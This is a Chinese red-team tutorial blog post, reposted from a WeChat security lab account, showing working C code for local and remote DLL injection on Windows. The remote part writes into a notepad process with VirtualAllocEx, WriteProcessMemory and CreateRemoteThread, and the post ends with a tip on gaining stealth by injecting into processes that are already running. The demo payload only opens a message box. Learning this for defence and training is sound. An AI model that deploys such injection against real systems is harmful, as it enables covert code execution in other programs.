红蓝对抗-本地/远程DLL注入

admin 2023年6月27日15:35:37评论18 views字数 3840阅读12分48秒阅读模式

0X00 前言

DLL注入,是向一个正在运行的进程注入代码的过程。我们注入的代码以DLL的形式存在。本文将DLL作为payload的用法,并演示如何在当前进程/远程中加载恶意DLL文件。

0X01 DLL Demo

这里笔者用一个简单的MessageBox 来作为演示demo

#include <stdio.h>
#include <windows.h>
#include "pch.h"

void MsgBox() {
MessageBoxA(0,"ring0rl.github.io","blog",MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)

{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
MsgBox();
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

可以先运行看一下,可见可以成功弹窗

红蓝对抗-本地/远程DLL注入

0x02 本地进程注入

在诸多Windows API 中我们可以使用 LoadLibrary 来加载DLL。这个函数使用磁盘上的 DLL 路径并将其加载到调用进程的地址空间中,在本文中,笔者采用的调用进程是当前进程。加载 DLL 将运行其入口点,从而运行MsgBox函数 ,使其运行我们的dll。

下面的代码将 DLL 的名称作为命令行参数,并使用LoadLibrary加载它 。

#include <stdio.h>
#include <windows.h>

int main(int argc,char* argv[]) {
if (argc < 2) {
printf("[!] 请输入要注入的dll");
return -1;
}

printf("[+] 正在注入 "%s" 当前进程的PID为%d n",argv[1],GetCurrentProcessId());

printf("[+] 正在加载dll...n");

if (LoadLibraryA(argv[1]) == NULL) {
printf("[!] 注入失败 %dn",GetLastError());
return -1;
}

printf("[+] 注入成功!n");

return 0;
}

可见注入成功,成功弹窗

红蓝对抗-本地/远程DLL注入

0x03 结果验证

要进一步验证我们的DLL是否已加载到进程中,我们可以验证当前进程的模块列表来检索我们的DLL。

红蓝对抗-本地/远程DLL注入

0x04 技术实现

我们这里创建一个notepad进程为例,并打印其PID和句柄。

if (CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL){
        printf("[!] 进程创建失败n");
        return;
}else{
        printf("[+] 进程创建成功!n");
        printf("[+] 进程 PID: %dn", pi.dwProcessId);
        printf("[+] 进程句柄: %pn", pi.hProcess);
 }

当我们已成功获取到目标进程的进程句柄时,下一步就是将 DLL 注入到目标进程,这将需要使用几个Windows API。

VirtualAllocEx 类似于 VirtualAlloc ,允许在远程进程中分配内存
WriteProcessMemory 将数据写入远程进程
CreateRemoteThread 在远程进程中创建一个线程

LoadLibraryA 用于在调用它的进程中加载 DLL。由于是在远程进程而不是本地进程中加载 DLL,因此不能直接调用它。所以必须检索LoadLibraryA 的地址 并将其传递给远程进程中创建的线程。可以使用 GetProcAddress GetModuleHandle 来确定地址。

// 通过kernel32.dll使用 LoadLibraryA
pLoadLibraryA = GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");

当在远程进程中创建新线程时,存储的地址 pLoadLibraryA 将用作线程入口。

下一步是在远程进程中给DLL分配内存。

pAddress = VirtualAllocEx(pi.hProcess, NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

在远程进程中成功分配内存后,可以使用 WriteProcessMemory 写入分配的内存。

根据其文档,WriteProcessMemory 函数如下所示

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

根据 WriteProcessMemory上面显示的 的参数,它将按如下方式调用,将申请的内存写入分配的地址,由之前调用的 VirtualAllocEx 函数返回。

WriteProcessMemory(pi.hProcess, pAddress, (LPVOID)path, len, NULL);

将 DLL 的路径成功写入分配的内存后,然后使用CreateRemoteThread在远程进程中创建一个新线程。并将pLoadLibraryA作为线程的起始地址传递,然后 pAddress 作为参数传递给调用 。

HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, pLoadLibraryA, pAddress, 0, NULL);

完整代码

#include <Windows.h>
#include <stdio.h>

void DLLInject(LPCSTR path)
{
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};

PTHREAD_START_ROUTINE pLoadLibraryA = NULL;
LPVOID pAddress = NULL;
HANDLE hThread = NULL;

// 创建一个notepad的进程
if (CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL)
{
printf("[!] 进程创建失败");
return;
}
else
{
printf("[+] 进程创建成功!n");
printf("[+] 进程 PID: %dn", pi.dwProcessId);
printf("[+] 进程句柄: %pn", pi.hProcess);

int len = strlen(path);

// 通过kernel32.dll使用 LoadLibraryA
pLoadLibraryA = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
if (pLoadLibraryA == NULL) {
printf("[!] GetProcAddress Failed With Error : %d n", GetLastError());
}

pAddress = VirtualAllocEx(pi.hProcess, NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d n", GetLastError());
}

WriteProcessMemory(pi.hProcess, pAddress, (LPVOID)path, len, NULL);
printf("[*] 正在注入进程...n");
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, pLoadLibraryA, pAddress, 0, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d n", GetLastError());
}
printf("[+] 进程注入成功n");

if (pi.hProcess)CloseHandle(pi.hProcess);
if (pi.hThread)CloseHandle(pi.hThread);
if (hThread)CloseHandle(hThread);
}
}

int main()
{

DLLInject(R"(demo.dll)");

return 0;
}

0x05 结果验证

下面请出我们上节课的老朋友demo.dll 来演示。

红蓝对抗-本地/远程DLL注入

可见成功注入

红蓝对抗-本地/远程DLL注入

0x06 小结

本文介绍了本地远程DLL注入的方法,并通过探讨了技术细节,以及具体的实现方法。当然,读者还可以通过一些其他办法,比如使用CreateToolhelp32Snapshot 去遍历进程然后选择已有进程注入,而不是通过创建进程去注入,这样可以更好的提升隐蔽性。

原文始发于微信公众号(应龙信安攻防实验室):红蓝对抗-本地/远程DLL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月27日15:35:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红蓝对抗-本地/远程DLL注入http://cn-sec.com/archives/1837640.html

发表评论

匿名网友 填写信息